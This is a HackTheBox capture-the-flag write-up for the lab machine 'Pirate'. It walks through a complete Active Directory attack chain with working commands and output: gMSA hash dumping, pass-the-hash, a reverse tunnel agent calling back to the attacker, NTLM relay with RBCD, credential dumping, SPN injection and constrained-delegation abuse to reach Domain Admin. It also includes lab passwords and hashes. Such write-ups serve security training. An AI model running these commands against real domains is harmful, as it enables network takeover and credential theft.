HackTheBox: Pirate — Multi-Host AD Attack Chain (gMSA + RBCD + Constrained Delegation)
HackTheBox2026-03-12

HackTheBox: Pirate — Multi-Host AD Attack Chain (gMSA + RBCD + Constrained Delegation)

Pirate — HackTheBox Writeup

IP: 10.129.*.* | Domain: PIRATE.HTB | Difficulty: Hard

Introduction

Pirate is a Hard-rated Windows Active Directory machine from HackTheBox. This is a multi-host box simulating a realistic corporate environment across three machines — DC01, MS01, and WEB01. The attack path chains six distinct AD attack primitives:

  • Pre-Windows 2000 Compatible Access — Authenticating as MS01$ using its machine name as password
  • gMSA Password Extraction — Reading managed service account NTLM hashes via LDAP
  • Pass-the-Hash over WinRM — Getting a shell on DC01 using the gMSA hash
  • L3 Network Pivoting — Standing up a transparent Ligolo-ng tunnel to the internal 192.168.100.0/24 subnet
  • NTLM Relay to LDAP + RBCD — Creating a backdoor machine account with delegation rights over WEB01
  • SPN Injection + Constrained Delegation Abuse — Pivoting from WEB01 Administrator to full Domain Admin on DC01

No CVEs required. Every step exploits Active Directory misconfigurations and abusable delegation settings.

Network Topology

TERMINAL_CODE
┌──────────────────────────────────────────────────────────────────┐
│                        PIRATE.HTB Domain                         │
│                                                                  │
│   ┌─────────────────────┐       ┌──────────────────────────┐     │
│   │  DC01.pirate.htb    │       │  MS01.pirate.htb         │     │
│   │  10.129.5.47        │◄─────►│  (machine account MS01$) │     │
│   │  Windows Server 2019│       │  Pre-Win2000 group member│     │
│   │  Domain Controller  │       └──────────────────────────┘     │
│   │  KDC / LDAP / WinRM │                                        │
│   └────────┬────────────┘                                        │
│            │                                                     │
│    Internal Network: 192.168.100.0/24                            │
│            │                                                     │
│   ┌────────▼────────────┐                                        │
│   │  WEB01.pirate.htb   │                                        │
│   │  192.168.100.2      │                                        │
│   │  Windows Server 2019│                                        │
│   │  user.txt lives here│                                        │
│   └─────────────────────┘                                        │
└──────────────────────────────────────────────────────────────────┘
Attacker: 10.10.15.202 (tun0) — direct access only to 10.129.5.47

Environment Setup

/etc/hosts

TERMINAL_CODE
10.129.5.47   DC01.pirate.htb DC01
10.129.5.47   MS01.pirate.htb
10.129.5.47   pirate.htb
192.168.100.2 WEB01.pirate.htb

/etc/krb5.conf

TERMINAL_CODE
[libdefaults]
    default_realm = PIRATE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    PIRATE.HTB = {
        kdc = 10.129.5.47
        admin_server = 10.129.5.47
    }

[domain_realm]
    .pirate.htb = PIRATE.HTB
    pirate.htb = PIRATE.HTB

Enumeration

Active Directory Users

#UsernameNotes
1j.sparrowRegular user
2a.white_admAdmin — has Constrained Delegation
3a.whiteRegular user — user flag on desktop
4pentestService account (p3nt3st2025!&)
5AdministratorDomain Admin
6gMSA_ADFS_prod$Group Managed Service Account
7gMSA_ADCS_prod$Group Managed Service Account

Notable: MS01$ is a member of the "Pre-Windows 2000 Compatible Access" group.

Initial Access — gMSA Password Extraction

1. Request TGT for MS01$

Pre-Windows 2000 Compatible Access group membership means MS01$ authenticates with its machine name as password (ms01). Use faketime to account for clock skew:

TERMINAL_CODE
faketime "2026-03-01 06:29:04" impacket-getTGT 'PIRATE.HTB/MS01$:ms01'
# [*] Saving ticket in MS01$.ccache

export KRB5CCNAME=MS01\$.ccache

2. Dump gMSA Passwords

TERMINAL_CODE
faketime "2026-03-01 06:29:04" python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k

Output:

TERMINAL_CODE
gMSA_ADCS_prod$:::304106f739822ea2ad8ebe23f802d078
gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839

3. Shell on DC01 via Evil-WinRM

TERMINAL_CODE
evil-winrm -i DC01.pirate.htb -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839'

Pivoting to WEB01 via Ligolo-ng

Setup

TERMINAL_CODE
# Download
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz

# Attack host — start proxy
./proxy -selfcert -laddr 0.0.0.0:443

# DC01 (via Evil-WinRM) — upload and run agent
upload agent.exe
.\agent.exe -connect <YOURIP>:443 -ignore-cert

Ligolo Session + Route

TERMINAL_CODE
# In ligolo proxy console:
sessions
1
start

# On attack host:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip addr add 192.168.100.50/24 dev ligolo

Verify connectivity:

TERMINAL_CODE
ping -c 2 192.168.100.2
# Should respond from WEB01

User Flag — RBCD via NTLM Relay

Key lesson learned: WEB01 enforces SMB signing, which blocks SMB→LDAPS relay. The fix is to relay to plain ldap:// (not ldaps://) combined with --remove-mic. Also, the relay listener must be on your tun0 IP (10.10.15.202), not the ligolo interface — this is what WEB01 can actually route back to.

1. Set Up NTLM Relay to LDAP

TERMINAL_CODE
sudo ntlmrelayx.py \
  -t ldap://10.129.5.47 \
  --delegate-access \
  --remove-mic \
  -smb2support \
  -ip 10.10.15.202 \
  --no-validate-privs

Note: Use ldap:// not ldaps://. LDAPS rejects the relay when signing is enforced; plain LDAP with --remove-mic bypasses the signing requirement. --no-validate-privs prevents a crash caused by the empty-username edge case.

2. Coerce WEB01 Authentication

TERMINAL_CODE
python3 Coercer.py coerce \
  -l 10.10.15.202 \
  -t WEB01.pirate.htb \
  -d pirate.htb \
  -u 'gMSA_ADFS_prod$' \
  --hashes :<gMSA_ADFS_prod$_NTLM_hash> \
  --always-continue

Result: A new machine account is created:

TERMINAL_CODE
[*] Adding new computer with username: DKWPYAAQ$ and password: nSAI<eIhv3a,#5t
[*] DKWPYAAQ$ can now impersonate users on WEB01$ via S4U2Proxy

3. Exploit RBCD — Impersonate Administrator on WEB01

TERMINAL_CODE
getST.py \
  -spn 'cifs/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/DKWPYAAQ$:nSAI<eIhv3a,#5t' \
  -dc-ip 10.129.5.47

export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

psexec.py -k -no-pass Administrator@WEB01.pirate.htb

4. Grab User Flag

TERMINAL_CODE
type C:\Users\a.white\Desktop\user.txt

🏁 User Flag: [Redacted]

Root Flag — Constrained Delegation via SPN Injection

1. Dump Credentials from WEB01

Run from your attacker machine (not from inside the psexec shell), with the ccache still exported:

TERMINAL_CODE
export KRB5CCNAME=/path/to/Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

secretsdump.py -k -no-pass WEB01.pirate.htb -outputfile web01_dump

Note: RemoteRegistry may be stopped — secretsdump starts it automatically. Wait for it to complete.

Relevant output:

TERMINAL_CODE
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu

2. Reset a.white_adm Password (WriteSPN Target)

TERMINAL_CODE
# Install if needed
pipx install bloodyAD

bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  -H 10.129.5.47 set password a.white_adm 'pulse1337!'
# [+] Password changed successfully!

3. SPN Injection (WriteSPN Abuse)

addspn.py is part of krbrelayx. Clone it if needed:

TERMINAL_CODE
git clone https://github.com/dirkjanm/krbrelayx

Move HTTP/WEB01.pirate.htb from WEB01$ to DC01$ so the S4U delegation targets the DC:

TERMINAL_CODE
# Remove SPN from WEB01$
python3 krbrelayx/addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'pulse1337!' \
  -t 'WEB01$' -s 'HTTP/WEB01.pirate.htb' -r 10.129.5.47

# Add SPN to DC01$
python3 krbrelayx/addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'pulse1337!' \
  -t 'DC01$' -s 'HTTP/WEB01.pirate.htb' 10.129.5.47

Why this works: a.white_adm has Constrained Delegation configured for HTTP/WEB01.pirate.htb. By moving that SPN onto DC01$, the S4U2Proxy chain now terminates at the DC instead of WEB01 — giving us Domain Admin.

4. S4U — Impersonate Administrator on DC01

TERMINAL_CODE
getST.py \
  -spn 'HTTP/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/a.white_adm:pulse1337!' \
  -dc-ip 10.129.5.47 \
  -altservice 'CIFS/DC01.pirate.htb'

export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache

5. Shell on DC01

TERMINAL_CODE
psexec.py -k -no-pass DC01.pirate.htb

6. Grab Root Flag

TERMINAL_CODE
type C:\Users\Administrator\Desktop\root.txt

🏁 Root Flag: [Redacted]

Attack Path Summary

TERMINAL_CODE
MS01$ (Pre-Win2000 group)
    └─> TGT as MS01$ (password = machine name)
        └─> gMSA dump → gMSA_ADFS_prod$ NTLM hash
            └─> Evil-WinRM on DC01
                └─> Ligolo-ng → pivot to 192.168.100.0/24
                    └─> NTLM Relay (ldap://, --remove-mic) + RBCD
                        └─> psexec as Administrator on WEB01
                            └─> user.txt ✓
                            └─> secretsdump → a.white cleartext
                                └─> Reset a.white_adm password (bloodyAD)
                                    └─> SPN injection (HTTP/WEB01 → DC01$)
                                        └─> S4U2Proxy → CIFS/DC01
                                            └─> psexec as SYSTEM on DC01
                                                └─> root.txt ✓

Technique Summary

StepTechniqueTool
Initial AccessPre-Win2000 Compatible Access — MS01$ TGTimpacket-getTGT + faketime
Credential DumpgMSA password extraction via LDAPgMSADumper.py
DC01 ShellPass-the-Hash over WinRMEvil-WinRM
PivotingL3 transparent tunnel to 192.168.100.0/24Ligolo-ng
RBCDNTLM Relay to LDAP + machine account creationntlmrelayx + Coercer
WEB01 ShellS4U impersonation of AdministratorgetST.py + psexec.py
Cred Harvestsecretsdump — a.white cleartextsecretsdump.py
WriteSPNMove SPN from WEB01toDC01 to DC01addspn.py (krbrelayx)
Domain AdminConstrained Delegation abuse → DC01 SYSTEMgetST.py + psexec.py

Key Lessons

  • Use ldap:// not ldaps:// for NTLM relay when SMB signing is enforced — combine with --remove-mic and --no-validate-privs to avoid crashes.
  • Listener IP matters for coercion callbacks — use your tun0 IP, not the ligolo interface. The coerced machine needs a route back to your listener.
  • SPN injection is the most creative step — by moving the SPN that a.white_adm's delegation trusts onto DC01, the S4U chain hands you Domain Admin.
  • gMSA hashes are as good as passwords — treat them with the same urgency as plaintext credentials.
  • Ligolo-ng over Evil-WinRM is clean and reliable for Windows pivoting — no SOCKS, no proxychains.
Disseminate_Intel:
Tags
##HTB##Pirate##ActiveDirectory##Windows##gMSA##RBCD##ConstrainedDelegation##NTLMRelay##Ligolo##HardBox

Transmission Complete

If you found this writeup helpful, feel free to reach out for collaborations or security discussions.

INITIATE_CONTACT